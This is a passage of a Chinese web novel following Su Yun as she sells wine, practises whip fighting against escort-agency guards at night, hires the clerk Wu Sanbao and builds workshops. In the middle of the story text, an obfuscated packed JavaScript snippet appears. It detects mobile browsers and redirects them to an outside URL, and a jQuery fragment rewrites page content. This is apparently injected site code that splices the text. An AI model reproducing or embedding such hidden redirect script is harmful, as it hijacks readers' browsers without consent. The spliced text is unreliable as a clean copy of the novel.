苏云道：“吴掌柜至诚君子，佩服。我也实打实说，若是吴掌柜看得起，也和前面卖的一样，每瓶二十二两。” 吴掌柜知道苏云并没有漫天要价，点头：“可以，你有多少？” 苏云道：“今年葡萄产量不多，还有五百瓶，若是明年吴掌柜还要，可以吃下多少？” 吴掌柜道：“若是都从你这里进，一年七八千瓶总是要的。” 苏云道：“好说，我心里有数了，若吴掌柜不弃，明年必定首先保证吴掌柜的用量。另有一点，这个葡萄酒的保存时间是一年半左右，请吴掌柜安排好。” 吴掌柜道：“如此多谢了。至于保存时间，无妨，五百瓶用不了许多天的。” 苏云道：“还有一事，想与吴掌柜商量。” 吴掌柜道：“小姐请讲。” 苏云：“京城无人不知卧云醉出自余公子之手。余公子临走之前，曾将剩下的卧云醉、舍得液和不羡仙全部留给了我，过几日我也须离京，想把这些酒脱手。” 吴掌柜眼前一亮：“竟有此事？你认识余公子？不知小姐手里还有多少瓶？” 苏云道：“并无酒瓶。酒瓶已然不够，现在只有小坛装着，每个小酒坛是十瓶的量。约有二千七百瓶，二百七十坛。” 苏云见吴掌柜有点犹豫，便道：“因是无酒瓶，我们可赠送一坛。饭庄不同于酒铺，食客喝酒，并不需要瓶子，而是装在酒壶里面，所以酒瓶有没有影响不大。若还是担心，可以将上一个客户的酒瓶留下，洗净重装，也是可以的。” 吴掌柜想想也是，便问道：“苏小姐作价几何？” 苏云道：“若是吴掌柜全要，就按照余公子的价格交付。” 吴掌柜点点头。 正在此时，小伙计走进来，手里端着一个托盘，托盘上面放着一个盘子和两双筷子，道：“小姐说的卤菜已经弄好，不知是不是和小姐说的一样，拿来给掌柜和小姐瞧瞧。” 苏云见盘子里有猪肉、猪耳朵，味道正是卤肉的味道，就做个手势，请吴掌柜：“正是，请吴掌柜指教。” 吴掌柜也不客气，夹起一片送进嘴里，细细咀嚼了几下，点头道：“味道果然奇特，略觉太淡，下次做的时候，可以多加一点盐。” 苏云道：“咸淡可以调节，另外，还可以做一点调料，蘸着吃。” 吴掌柜道：“如此甚好，只是这方子？” 苏云道：“一个吃食方子，不值当什么，待会我写下来送与吴掌柜就是。有诗云： 葡萄美酒夜光杯，欲饮琵琶马上催。 醉卧沙场君莫笑，古来征战几人回。 有肉无酒，不显豪气，何不就这葡萄酒，体验一把边塞将士的豪迈之情？”说着，看向杨三叔，三叔会意，拿出两瓶冰镇葡萄酒。 苏云拧开瓶塞，倒了一杯冰镇葡萄酒，递给吴掌柜。 吴掌柜却在吟着刚才的诗句，道：“醉卧沙场君莫笑，古来征战几人回。真是千古绝句，小姐，此诗从何而来？” 苏云道：“偶然听得一书生吟过，便记了下来，也不知是何人所做。” 吴掌柜道：“豪气干云，不识得作者，真是人生一大憾事。” 苏云道：“虽不识作者，但可以用他的诗佐酒，也是一桩幸事。” 吴掌柜道：“小姐说的是。” 举起酒杯，一饮而尽，细细一品，然后道：“冰镇葡萄酒，更是别有一番风味，小姐也干一杯！” 苏云并不扭捏，先给吴掌柜倒了一杯，然后给自己也满上，举起杯道：“吴掌柜，请！” 吴掌柜举起杯子，碰了一下，一饮而尽。 40. 第 40 章 40、夜探镖局 回到院子，苏云立马安排阿牛去脚行租用三辆马车，酉时末到院子门口来装货，戌时去交接。就由苏云和杨三叔押运，阿牛四个男子当搬运。 戌时装好车，苏云故意绕着圈走了不少路，才绕道来到张记酒铺，杨掌柜正翘首以待，验货后，很快交接完成。然后又去了樊楼，交割完毕。才回到了院子，阿牛娘早就烧好了洗澡水等着。 王嬷嬷晚上回来，带回了夜行衣，汇报了杂货铺的情况。这一天下来，张掌柜的确卖力在推销，在门口摆了一个木盆和几桶清水，也用苏云的法子，弄脏手绢当场清洗，赢得一片喝彩，一天卖出了差不多两百块，估计消息传开，明天客户会越来越多。 这一趟进展顺利，算下来足足有十八万两银子的进账。苏云心里很是高兴，每人给二两银子，让大家第二天自己随便去街上逛逛，要买什么自己决定，整个院子高兴得像过年一样。 苏云觉得院子不错，就让阿牛去找来两个院子的房主，花了比市价高出三成的价格买了下来。 苏云也考虑是不是应该买下一座商铺，这样行动起来比较方便。如果卖酒水、香水，暂时是不能卖的，除非自己觉得背靠大树，稳靠了才行；若是只卖肥皂，貌似有点太奢侈。盘算许久，觉得以后肥皂产量扩大，猪肉的销售可能会比较麻烦，毕竟临川县人口就那么多，能经常吃得起肉食的，应该也不多。京城就不一样了，有钱人太多，腊肉香肠短时间应该不愁销量。说干就干，考察良久，终于选择了一处临菜市旁边的一个铺面，重金购入。至于负责商铺的人选嘛，苏云也已经有了想法。 苏云前世忙碌了一辈子，也只贷款买了一套六十平米的蜗居，现在一口气已经有了五套院子和一个商铺，而且两套院子和商铺还在帝都，还有一个在建的大工场，还有一个待建的县主府，再加上手里的现金，心里挺有成就感的。 到得晚上，换成男装，换上黑色的夜行衣，苏云心痒难耐，跃跃欲试。杨三叔看到她的男子装束，一副急不可耐的样子，心中好笑，道：“此次外出，只为试试你的鞭法，尽量不说话，莫伤人，另外，你要将脸色也抹一下，最好不要让人认出来。”又给了她一个很小的口哨：“你含在嘴里，说话试试。”苏云知道这是变声用的，也不迟疑，含在嘴里，随口叫了一句：“杨三叔”，听起来却是男声，心里很是高兴。 杨三叔早就打探到了一个镖局所在。装扮停当，两人飞上屋顶，七弯八拐，到了顺安镖局。 虽已宵禁，但镖局里面却还亮着火把，几个镖师正在忙着装运货物。一个满脸络腮胡子的中年镖师道：“明儿这趟镖走灵州，中间虽说没什么劫道的，也算太平。但是出门在外，大家还是要打起精神，毕竟上千里路，人在途中，少不得不长眼的小贼觊觎，如果真出了事，对我们镖局而言就是大事。总镖头说了，这一单弟兄们小心些，等到了灵州交货后，请大伙好好喝一顿酒。”一个镖头猥琐道：“花酒可以不？”中年镖头笑骂：“你小子不攒钱娶个媳妇，就想着快活，小心死在女人肚皮上！”众镖师齐声大笑。 苏云正在屋顶悄悄看着，猛地感觉被人一推，就往下掉，好在反应奇快，人在空中，一个腾挪，轻轻落在了地上，同时取出了软鞭。 众镖师正在说笑，猛地见一个人从屋顶掉下来，仔细一看，个子矮小，一身夜行衣，脸上黑黑的，火把摇曳，昏暗中也看不清楚。众镖师都是久经江湖之人，哪里会反应不过来，一定是毛贼无疑。中年镖师大叫：“哪里来的小毛贼，居然敢独闯顺安镖局！”反应也挺快，说话间抽出了一把大刀：“小小毛贼，叫你看看马王爷有几只眼。” 说着，纵身一跃，挥舞大刀，一个力劈华山砍将过来。苏云知道此人肯定招大力沉，不敢正面迎击，左脚朝左边一迈，侧身跳开一丈有余，手中长鞭一抖，正是“三十二路追风鞭”第二式，袭向中年壮汉腰部，壮汉一转身，大刀一竖，挡住鞭子的攻击。 两人一个招大力沉，一个轻盈灵动，在院子中打得难解难分。旁边的镖师都知道中年镖师喜欢单打独斗，不喜欢别人帮忙，况且并没有处在下风，尽皆拿着兵器围着，却不上前。 只见刀光闪烁，呼呼生风，长鞭宛如灵蛇舞动，鞭法精妙，一刚一柔，煞是好看，两人舞动的劲风把火把都吹得不停摇曳。 苏云鞭法奇妙灵动，若以招式而论，中年镖师其实远远不是对手，只是苏云初遇大敌，平时所练的招式并没有用于实战过，经验严重不足，许多招式都用得很是仓促，过后才知道用另一招其实更好。而中年镖师经验老到，且力大无穷，苏云不敢比拼气力，所以才战了个平手。 不过随着时间推移，苏云对鞭法的领悟越来越多，招式慢慢开始贯通起来，不知不觉就开始占了上风，不多时，中年镖师开始觉得有些跟不上了，左肩和腰部都中了两鞭，痛得呲牙。 旁边一镖师见中年镖师已呈败像，顾不得中年镖师不喜人帮忙的禁忌，大叫一声：“对付这种毛贼，也不用讲究就什么单打独斗了，兄弟们，并肩子上啊。”四五个镖师手持兵刃，一拥而上。 本来苏云已经占据绝对上风，不料四五个镖师一拥而上，而且各个身手也不弱，苏云精神大振，招招灵动，打得难解难分，竟不呈败像。 房顶上的杨三叔见状，感觉差不多了，手一抬，手指连连点出，正是林二伯的“清风一指”。四五个镖师感觉腿部穴位被针刺一般，瞬间酸软无力，倒在地上。杨三叔叫了一声：“快走！”苏云朝中年镖师挥鞭过去，待得镖师闪躲之际，纵身一跃上屋顶，和着杨三叔翩然而去。 中年镖师在苏云跃上屋顶之际，本想追上去，但想到屋顶上还有高手，且同伴尽皆躺在地上翻滚哀嚎，只得作罢，俯身看看各位镖师的伤势。只见四五个镖师在地上打滚，细细查看，并没有什么明显伤处，觉得好生奇怪，自己也没有办法，赶紧去叫了总镖头来。 总镖头杨千里，五十多岁，花白胡须，很是干练，听说之后，急忙到院里，见到满地打滚的镖师，忙上去细细查看，并问了几句，已知原由，朝镖师腿上点了几下，镖师疼痛感减轻了很多：“此是清风一指所伤，我也没有办法完全解除，只能暂时给你们止痛，待得两个时辰后，自然就不痛了。”吩咐人把受伤的镖师们扶下去休息，叫上中年镖师，回到自己屋里。 中年镖师将事情经过说了一遍，杨千里沉吟：“如此看来，其实来人并没有什么恶意，况且我们和林若风没有过节，那个使软鞭的小子也没使什么杀招，不像是上门寻仇，倒像是找我们练练手。”走镖营生，靠的是朋友多，走镖途中，面子最重要，若是完全靠蛮力，怕十里就有一战，什么样的镖，只怕也难以到达目的地。如此一想，心下倒是安定了不少。 于是吩咐道：“应是无大碍，明天仍由你带头，押运去灵州那批货，断不可有什么闪失。”中年镖头拱手应下。 回到院子，苏云还觉得心里扑通通的，杨三叔见她这样，也就没多说什么，只管回屋喝酒睡觉去了。 苏云洗了澡，仍觉得心绪难平，躺在床上，将整个过程复盘了一下，直到后半夜才晕乎乎睡过去。 第二日起床，已经天色大亮，今天没什么事情，于是悠闲的起床洗漱，吃早餐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205770|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完毕，才召集众人，言道这些天没什么事情，让大家自行安排活动。又想着要抱国公府的大腿，这个关系应该维持好，还想着侯府也要多联系，自己因为祖母的事情不能进京，也不便暴露自己在京城，就让王嬷嬷和二牛把卧云醉、舍得酒、不羡仙和葡萄酒各两瓶装在礼盒中，备了两份，分别带去送给公府和侯府。侯府就让王嬷嬷送过去，顺便多打听一下侯府的情况。 半日不到，王嬷嬷回来了，问起侯府情况，王嬷嬷气愤道：“这次去侯府送礼，并没有见着老夫人、侯爷和夫人。倒是二少爷听说是小姐来送礼，还将老奴叫到了青竹园叙话。” 苏云道：“二哥身体可好些了？” 王嬷嬷道：“老奴也是几年没见过二公子了，二公子个头长得老高，比我都高了整整一个头，很是俊俏，只是看起来比较瘦，脸色也比较白。问起他的病情，他让老奴转告小姐，已经按照小姐的吩咐，没有再用夫人送来的补品，这段时间倒是觉得身子爽利了很多，他以后会注意的。只要病好起来，明年仍旧可以下场。又问起小姐，我都一概说好，仔细的也没跟二公子说。” 苏云道：“嬷嬷做得对。” 杨三叔问起苏云昨晚的收获。苏云郑重地倒了一盏茶给杨三叔道：“昨晚多谢杨三叔了。”杨三叔微微一笑，并不言语。 苏云道：“昨日一战，是平生第二次，的确新鲜刺激，一个晚上都没睡好。” 杨三叔笑道：“刚开始和人动手，这种心情是可以理解的，次数多了，自然就镇定了。说说昨晚的收获吧。” 苏云道：“昨晚睡觉之前，我把整个过程复盘了一次。事后想想，其实那个中年镖师的武功不是很强，主要是招大力沉，如果按照他的路子来看，在第九招、第十六招时候是有破绽的，如果及时跟进，应该就可以把他击败，只可惜第一次交手，的确太紧张，经验也不足，很多招式都不能贯通，错失了好多机会。” 杨三叔道：“不错，这个镖师应该是镖局的二等镖师，走的是疯魔大力刀法的路子，刀法本身是不错的，看他的样子，平时应该过于注重练习力道，招数并没有完全吃透，很多招式都有破绽。比如在第二十四招的时候，他使出横斩式，位置偏低，左肩是有破绽的，如果你用风卷残雪，荡开他的大刀，再接着换成灵蛇入草，扫向他的左肩，他必然会中鞭，以你现在的功力，饶是他皮糙肉厚，想来也是会痛不可当的。” 苏云凝神思索了一会，觉得的确如此，对杨三叔佩服不已。又道：“后来虽然占了上风，但众镖师一拥而上，我就有些懵了，感觉到处都是刀光剑影，不知道该怎么对付了。” 杨三叔道：“一个人对付一群人，一是要稳定心神，不可慌张，最重要是速度，俗话说：天下武功，唯快不破。只是你的身手还不够敏捷，当你快到得一定程度，你会觉得那些兵器都很缓慢，你完全可以逐一破解。当然，这个是需要时间来积累的，你昨晚的表现已经非常好了，更好的是你能把经过记清楚，就是你说的复盘，这个对你以后的练功有莫大的帮助。至于对付多人，三十二路鞭法中的二十八式----卷叶式，就是专门练习这个的，一步步练下去，自然会有水到渠成的一天，倒也不用急在一时。” 苏云福了一礼：“多谢三叔指点！” 杨三叔道：“我看你这几日貌似也没什么事情了，不若白日就专心练功，晚上再去找别人的晦气？” 苏云道：“如此甚好，实战之后，总觉得好多地方不够好，同时也觉得很多不是很清楚的地方能够贯通了。” 杨三叔道：“旁边院子还没有人，我们去那边练习。” 41. 第 41 章 41、人才吴三保 苏云在京城呆了五、六日，白天练功，晚上找人晦气，不是镖局，就是大人物府邸，不断磨砺之下，功力自是大有进展，最大收获却是实战经验。只是如此一闹，京城里传开了，说有个小毛贼，每天晚上都到贵人家里行窃，盗窃了金银无数，少说也有十多万两，还打伤了很多人。城防司和衙门也有些头痛，加派人手，每到夜晚就去蹲点，只是京城实在太大，哪里那么容易就能撞上？虽然都没有碰上，苏云见已经引起官方重视，怕继续下去惹出大麻烦，实战只好暂时停下来了。 苏云心中气闷，自己不过是去切磋一下功夫，怎么就成了小毛贼，还抢走了十多万两银子珠宝？想起前世银行被盗，银行也会把损失往夸大了说，不过是掩盖自己贪污的黑钱罢了。 京城的生意暂时停止，也不便再去实战，苏云就准备回临川县了。留着太多人没什么用，于是苏云决定留下大牛二牛在京城看院子，给他们留下足够的生活费，自己做吃食。怕他们无聊出去惹事，叮嘱他们尽量少出门，尤其不能去外面喝酒。每天也可以做几坛蒸馏酒，不用太拼，最重要还是不能让别人知道做酒的事，千万不要惹出事情来，两人完全答应。 苏云对他们做的酒，按照前面说好的，每坛十文钱，一共给出了八两银子，阿牛、大壮和两头牛自行拿去分配，把四头牛乐得傻笑不止。 想着最后一晚，也想去看看小时候生活过的侯府，于是，待得晚上，穿上夜行衣，和杨三叔一起，跃上屋顶，开始奔跑起来。 自从京城出了小毛贼之后，夜晚街道上随时可见巡城的官兵，甚至有些拐角之处还这藏着些高手，伺机而动。两人跌跌撞撞，一路躲藏行迹，好不容易才到了侯府。 只见侯府里面也是灯火通明，家丁护院在院子里乱走，看来想去看看旧时的居所，委实不便，只好折返回去。 一切安顿好，第二日，苏云雇了一辆车，让何大壮，阿牛母子、王嬷嬷他们慢慢回家，自己则和杨三叔快马加鞭，当天就回到了临川。 在临川凉水院子呆了一个晚上，主要是想看看莺儿怎么样了。 现在的冰棍生意还是挺好，每天换一批庄户的办法继续进行，大家都很满意。只是苏云知道，夏天即将过去，这个生意做不了多久。 莺儿回来吃晚饭，见到苏云很是高兴，叽叽喳喳说着学习的情况，原来已经不只是学习古琴，各种乐器都在学，唱歌也很有进步。还说班主想把她安排进乐班，晚上也去青楼演奏，只是演奏或者唱歌，绝不涉及其它事情，问苏云是否同意。 苏云当然没有什么意见，她知道，自己的武功也是实战之后得到了大大提高。真正的演出水平，自然也需要千锤百炼的，要多多地演出实践才行。心想莺儿年纪还小，应该没有人会动不该有的心思。但是要求几点：首先就是只能呆在乐班，不能去别的地方，不能和客人有私下的接触，不能学习青楼女子的仪态；还有每天晚上都必须要让秦氏夫妇接回院子里。苏云给了她银子，让班主带她去购买需要的乐器。 苏云又去了伢行，还是那个小伙计吴三保，打过几次交道，都比较熟络，见到苏云，忙热情过来打招呼，拱手施礼道：“县主这厢有礼了，看您红光满面，准是发了大财，你看王嬷嬷，满脸红光的，这精神头，怕是大姑娘小媳妇也比不上呢。”王嬷嬷笑骂道：“皮猴子，就你嘴甜。”吴三保故作委屈道：“县主您看，说实话还要被嬷嬷骂呢，你可得为小的做主。” 苏云笑笑，没言语。吴三保道：“这次是准备看人还是看院子？” 苏云道：“这次看人。”吴三保道：“正好进了两家人，县主里面请。”苏云笑道：“这次不是看他们，主要是看你。”吴三保一愣，又笑道：“县主说笑了。小子虽也觉得自己一表人才，但还是有自知之明的，在县主面前，小子什么都不是。再说，小子家里还有寡母要奉养，不会卖身的。” 孙云道：“知道你孝顺，没有要你卖身，只是来和你谈桩生意。” 吴三保道：“我一个小伙计，哪有资格和县主谈生意？谈生意，我去请掌柜的出来。” 苏云道：“不用，只找你。你去跟掌柜说说，我们找个地方详谈如何？” 吴三保见苏云脸色郑重，满腹狐疑，只得去找掌柜说了一声，跟着苏云进了一个茶楼。 选了一个角落，要了茶，吴三保却有些不敢坐，苏云道：“无妨，坐下慢慢说。”王嬷嬷就立在苏云身边。 吴三保只得坐下，给苏云斟了茶，然后问道：“县主这么正色，莫不是没有开玩笑，真要和我谈什么？” 苏云道：“三保莫要紧张，就是聊聊天而已。” 吴三保当然知道肯定不是只聊天而已，却又不知什么事，就神色郑重起来，不再言语，等苏云开口。 苏云道：“前些时间我们也打过不少交道，也算熟识，有些话，我就直说，如果三保觉得冒犯，那就算了。” 吴三保忙道：“何来冒犯，能得县主看重，是三保的荣幸，县主但有所询，必定知无不言。” 苏云见吴三保说话与平日不同，竟有些文绉绉的，不禁多了他一眼。吴三保忙道：“实不相瞒，家父乃是落第秀才，幼时也曾跟着父亲识得一些字，只是家父屡试不第，心情抑郁，几年前就撒手而去，只剩下寡母和一个妹妹，寡母靠帮别人刺绣和浆洗，才把我兄妹二人养大。在下十二岁便出来当学徒，一直到十五才正式当了小伙计，赚钱养家，至今已两年有余。” 苏云听得三保识字，暗喜，叹道：“生活不易，你也是个孝顺之人。不知可曾婚配？” 吴三保道：“未曾，现在只求每日多卖房卖人，赚钱养家，目前只是温饱尚可，并无积蓄，谈婚论嫁却是不敢想。” 苏云道：“你已到婚嫁年纪，可考虑了。”猛然想到自己一个闺阁女子，跟一个男人谈婚嫁之事，还在用前世观念说话，委实不妥，正好听到王嬷嬷轻咳一声，知道是在提醒，于是忙道：“日子会好的，这些事情以后慢慢再说不迟。想问问三保，现在月俸几何？” 吴三保说：“月钱五百，其余靠售卖提成，时多时少，并无定数。大约每月总共有一两银子左右。” 苏云道：“你善经营，一两银子已经很难得了。现有一个机会，每个月至少五两银子，看你愿意与否？” 吴三保大惊，忙道：“不知是何事？” 苏云道：“你已在伢行干了好些年，想必个中门道很是清楚了。若是给你本钱，也搞一个伢行，你能做到吗？” 吴三保道：“伢行中间门道自是清楚，售房不仅要眼光准，还要善于揣摩买家心理，才容易成交。只是就整个伢行来讲，就还需要把官府和□□的关系都理顺才行。如果我去打理伢行，在临川问题不大，到别处，还要先理顺这些关系才行。” 苏云道：“说得不错。最近市面上售 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吴三保松了一口气，知道苏云的意思，是要将母女俩作为人质，只要自己用心干，倒也没觉得完全不可，便道：“兹事体大，尚需和母亲妹子商议后再说。” 苏云道：“这个自然。对了，你说母亲也在帮人刺绣，有没有她的绣品可瞧瞧？” 吴三保掏出一条手帕，道：“母亲绣工还是挺不错的，手帕上面的图案就是母亲所绣。” 苏云结果，仔细看了看，绣工挺好，只是比较简单，不能完全看出水平，便递了回去，道：“可有其它绣品？” 吴三保也不知苏云目的，只是说道：“家里还有一批，明后日就要去绣庄交割，我家不远，县主稍候，我这就回去拿。” 苏云道：“不若这样，闲来无事，我们一起去你家看看可好？” 吴三保道：“家里简陋，怎敢劳县主玉趾。” 苏云见他答应，王嬷嬷自去结了账，三人一起去吴三保家。 吴三保家不远，很快就到，王嬷嬷还抽空去买了糕点。 进得院子，只见一个十二三岁的女子在扫地，一个四十来岁的妇人正在绣花，抬眼看见儿子回家，还带了两个人，忙停下手中伙计，上前招呼。王嬷嬷递上糕点，妇人接了过去，忙叫小女孩春柳上茶。 吴三保做了介绍后，道：“娘，你不是明天要去绣庄交货吗？掌柜的想看看绣品。”没说是县主，怕吓着母亲。 三保娘道：“瞎绣而已，混口饭吃，怎的就惊动贵人了。”话虽这样说，却也转身进屋，取出了一叠绣品。 苏云和王嬷嬷翻检着看了，只觉得并不比杨婶子水平差，甚至比杨婶子还好些。苏云就对吴三保道：“前面我们所说，可以作数的，婶子可以到槐树村去教小姑娘们绣花，每日给二十五枚铜钱，包吃住，教授之外，亦可自行刺绣，售卖归己，两不耽误，你们商议一下，看看可行得？” 吴三保道：“如此请小姐先等一等。”说完拉着一脸疑惑的母亲和妹子，进屋商议去了。 结果自然皆大欢喜，苏云京城商铺有了新掌柜，肥皂做出之后的肉食有了销量，槐树庄有了新绣娘当教习。苏云做事向来是疑人不用，用人不疑，让吴三保辞职，几日后就去京城，一应事务，全部交给了吴三保，先去把商铺打点好，然后选好日子供货，争取在春节一段时间赚上一笔。 42. 第 42 章 42、识字的烦恼 第二天回到柳河庄，并无什么变化，黎大为每天带着下面的人到处巡视，也是井井有条。槐树村的村道已经扩宽完毕，正在修通向工场的路，只要路修通，就可以把建材运进去，开始修建工场。 至于村长那边，已经有人承包了几个山头的葡萄种植，每户人家都认养了四五头猪崽，加上柳河庄的，算算用量，貌似也勉强够用了。如果不够，还可以再买一些，或者到时候再看，不行的话，再专门盖一个养猪场。 随着事情越来越多，苏云感觉手中可用之人严重不够，这一日，苏云把大家集中起来，道：“今日把大家叫来，是有个事情跟大家说。自从大家到了本小姐这里，可有没有什么不满意之处？” 阿牛道：“小姐心地善良，没有把我们当下人看，从不打骂，吃穿不缺，做工有工钱，还比外面高。我们都觉得掉进福窝了。” 大鹏媳妇也道：“当时在伢行，我们都觉得日子没有盼头了，我们一家人肯定会被分开，没想到小姐一直都照顾我们，没有分开我们，两个小的还不能干活，小姐也没有丝毫嫌弃，小姐就是我们家的贵人啊。”说着语带哽咽，就和大鹏要下跪，苏云赶紧制止。 何大壮道：“当日签身契，小的也确实很犹豫，现在看来，我完全是做了一个正确的选择。听说小姐还出钱让庄户们做生意，给他们提供机会，简直就是活菩萨啊。” 小花也道：“我哥说得对，就比如我，去班上学习刺绣，每天还有十文钱的工钱，现在学成了，赚的钱也归自己，我就没见过世上有这么好的人。” 王嬷嬷笑道：“还有一点你没说，庄子上有好些人家都在打听你了。” 小花顿时满脸通红，嗔怪道：“嬷嬷就拿人家说笑。”却并没有离开。苏云赶紧笑笑道：“你们再吹捧，我都要觉得自己是仙女了。” 众人大笑：“小姐本来就是龙女，不是仙女是什么？” 等笑声平息了些，苏云道：“最近柳河庄和槐树村都忙着修路，建工场，估计你们也能猜到，不错，就是以后要生产很多产品，拿到外面去卖，就像你们生产的酒。这里要特别强调，这些生产方子都是我们的立身之本，绝对不允许外泄，如果泄露出去，我们院子就完了。虽说平日不曾苛待过你们，但不管什么原因，只要你们泄露出去，绝对就是家破人亡的下场，本县主绝对不会留一点情面。反之，只要大家本本分分，严格保密，我保证你们以后的日子，绝对会越过越好！” 大家都称是。 苏云继续道：“生产商品，必然需要很多人，这人一多，自然需要管事的，不论男女，在座各位，只要有能力，你们就是我准备培养的管事人。” 众人大惊，没想到自己某一天还有管事的时候，不禁有些窃窃私语。 苏云继续道：“管事的人，能干活是一回事，关键是要会安排别人干什么，自然要头脑清楚，还有一个重要方面，就是要会识字、会算数。” 众人一下子就砸了锅，除了黎大为和陆平，其余都是睁眼瞎，自己的名字都不认得。 苏云到：“能不能识字、记账，是能不能当管事的关键，当了管事之后，收入可是要翻好几倍的。” 众人又是一阵惊叹，纷纷讨论。三保娘和三保妹子春柳也看得呆呆的。 苏云道：“在场的，除了老人，年轻人和小孩子都要识字，宝儿和良哥儿都要参加。每人都要建一个账本，每天如果能写五个字以上，每个字奖励一文钱，如果能超过五个，有多少算多少，也每个字一文；如果一天不达到五个字，一文钱没有；如果两天不能认识五个字，那就要饿一顿饭。” 众人又是一顿大哗。二鹏、朱三牛、何小花、吴春柳这些倒是眼睛放光。 苏云道：“沙盘都给你们做好了，每个人以后都先用沙盘练习，不仅要认识，还要会写，直到认识五百个字以后。五百字以后，就可以给你们纸笔。现在，大家都来见过你们的先生黎大为。”大家哄笑起来。 黎大为上前作揖道：“按照小姐的安排，我们不能耽误上工时间，都在空闲的时候上课，现在绣女们的课都结束了，教室就在绣房里面，白天还是杨婶子教剪裁班的弟子，晚饭后就由我来教大家识字。我会从最简单的开始教，还望大家配合，多下苦工，要是被饿饭，可不能怪我。” 众人都笑了。杨三叔在旁边也颇有些感动。这世道，不是亲生子女，居然有人给钱请你识字，想都不敢想的事情。 随后的识字活动，果然是二鹏、朱三牛、何小花、吴春柳、宝儿、良哥儿天天赚钱，二鹏他们还觉得不够，缠着黎大为多教几个，只有大鹏夫妇、大壮、阿牛、李三娘弄得愁眉不展，还不如宝儿，被饿过几顿饭，何小花也看得着急，天天给哥哥和大壮补课，好歹后面还算能跟上了。 如此过了一个多月，他们认字也不少，简单书写已经能够拿下，然后苏云亲自教他们加法表、乘法表，不再奖励，也不再饿饭，众人尽皆松了一口气，待到教学完成，至少可以出来几个能够独当一面可用的人才。 此时槐树村的村道早已拓宽完毕，石桥也已经完成，河对面的路也已经竣工，连接到了官道，村民出行很是方便，加上修路建工场，赚到了不少钱，尽皆喜悦。在村道转向猪鼻山的拐弯处，也就是苏云的封地上，修建了几间房，后面建了一个仓库，作为肥皂销售点。还在房屋旁边开出了一块不小的平地，主要用于马车装货卸货。工场则一边在挖山洞，一边在修建，估计再有月余，即可竣工。 而冰棍的销售，随着天气已经逐渐变凉，生意开始慢慢淡下来了。后面就不再限制人手，有愿意去的，才做几箱。这个夏天算下来，凡是去卖冰棍的人家，都挣下了五、六两银子，多的甚至有七、八两。 苏云让王嬷嬷去买了布料，又给每人做了两套秋冬的衣服，大家又是一阵欢呼。 至于杨婶子的刺绣班，最后留下的几个绣娘水平都得到了很大提高，每天都有做不完的绣活，虽被互助会提走了三成，绣女的收入仍比家里的男丁还高，被家里人简直要捧在手心了，家里人还怕她们伤着手，不让她们做粗活，把一双小手养得葱白一般娇嫩，绣女们也终于可以在家里扬眉吐气。十里八乡慕名来求亲的，几乎踏破了门槛。可家里人哪里舍得将摇钱树就这样嫁出去，还想再留几年，给家里多挣点银子，都推说还在年龄尚小，不着急，统统婉拒了。最重要的是，庄子里重男轻女的风气得到了很大程度的改观。后来的剪裁班，虽不再补贴工钱，报名的人也是人满为患，让杨婶子选得头痛。 苏云又陆续买了几个壮劳力，她的盘算是，酿酒、肥皂、香水是最为关键的产业，一本万利，不能让别人来做，一定要有签了身契的才行。把他们分类，每人只管一个行当，让阿牛他们分别进行培训。 苏云又想起了前世的农家乐，让槐树村村长告知大家，以后会有不少外地客商会来进货，让他们把在路边的村民好好翻新一下住宅，可以接待客商的吃喝。 如此快进入腊月的时候，工场建设完毕。苏云、王嬷嬷、黎大为他们一行去检验后，感觉十分满意。 苏云又给了张师傅一张设计图，原来是桃源里面的县主府又要兴建，张师傅笑得见牙不见眼，肯定能过一个肥年了！ 苏云又定制了各种设备，高低床，以及一些生活用品，准备开工。 最重视的，自然是蒸馏酒。作坊安排在一个不很起眼角落，放置了六台蒸馏器，四个新买的壮汉，阿牛和大壮随机制作或者管理。 旁边还有一个稍小的作坊，也是蒸馏作坊，里面四台特殊蒸馏器，比酒精提纯的还要复杂一些，是准备用来蒸馏精油的，不过目前还没有什么花，等进入腊月，可以制作腊梅精油。平时把门锁着，也没人知道。 旁边还有一个空着的作坊，那是准备用来制作葡萄酒的，现在用来做冰糖。 最为显眼的是肥皂作坊，在外围分成了几部分，一部分是草木灰室，负责过滤草木灰水，设计的就是做好的水直接通过一个管道流到隔壁的大缸，隔壁是制作室；旁边就是炼油室，炼出的猪油装载铁桶里，然后有个滑轮车，通过空洞推到隔壁的制作室，制作室弄完后，又将空桶推送回去。三个作坊呈品字状，都通过孔洞运送东西，每天都有定量，制作好后，都推到另一个阴凉通风的库房晾上至少一个晚上，完成后，用板车送到封地的库房存起来销售。草木灰和炼油的工人，都是村里的村民或者庄上的庄户，而几个制作肥皂最后一环也是最关键的，则是签了身契的，这样尽可能保证方子不能外传，至少延缓泄密的时间。当然，苏云不是小气之人，对他们都很大方，工钱甚至比城里的都高，以至于村庄里都以在工场里上班为荣。 肥皂的生产，不同的流程，请的工人都是不同村的，尽量避免泄漏。至于采购和销售，都是先由黎大为在周边州县，宣传推广，然后让商家自行到槐树村采购肥皂和糖霜。本来客商都是冲着肥皂来的，不料尝过香肠、腊肉后，觉得很不错，又进了一些肉食品带回去销售，没想到大受欢迎。有些商家甚至专程来进腊肉香肠售卖。后来更有了香皂，槐树村也开始热闹起来，买来的原料、卖出去的产品，整天槐树村都车马不断，络绎不绝，苏云庆幸自己预先在封地库房旁边专门修建了停车场。村长更是带头做起了吃食生意，村民们也争相效仿，槐树庄一时热闹非凡。后来村民为了吸引客户，也是手里有了些钱，就开始纷纷装饰甚至重修住宅，没多久，槐树村就大变样了。 在苏云的计划中，本是想按照前世的分级销售，就是按照地区招片区代理，但若是这样做，势必会影响农家乐的生意，于是也暂时放弃了这种想法。肥皂厂只是作为掩护建造的，至于特别需要保密的，蒸馏酒、葡萄酒、香水，目前都是自己出去销售，接受订单，然后送货上门，整个行动都是悄悄的，竟然没有人察觉。 精油提炼成功，香水也就制作了出来。喷嘴的原理并不复杂，低档的，就用 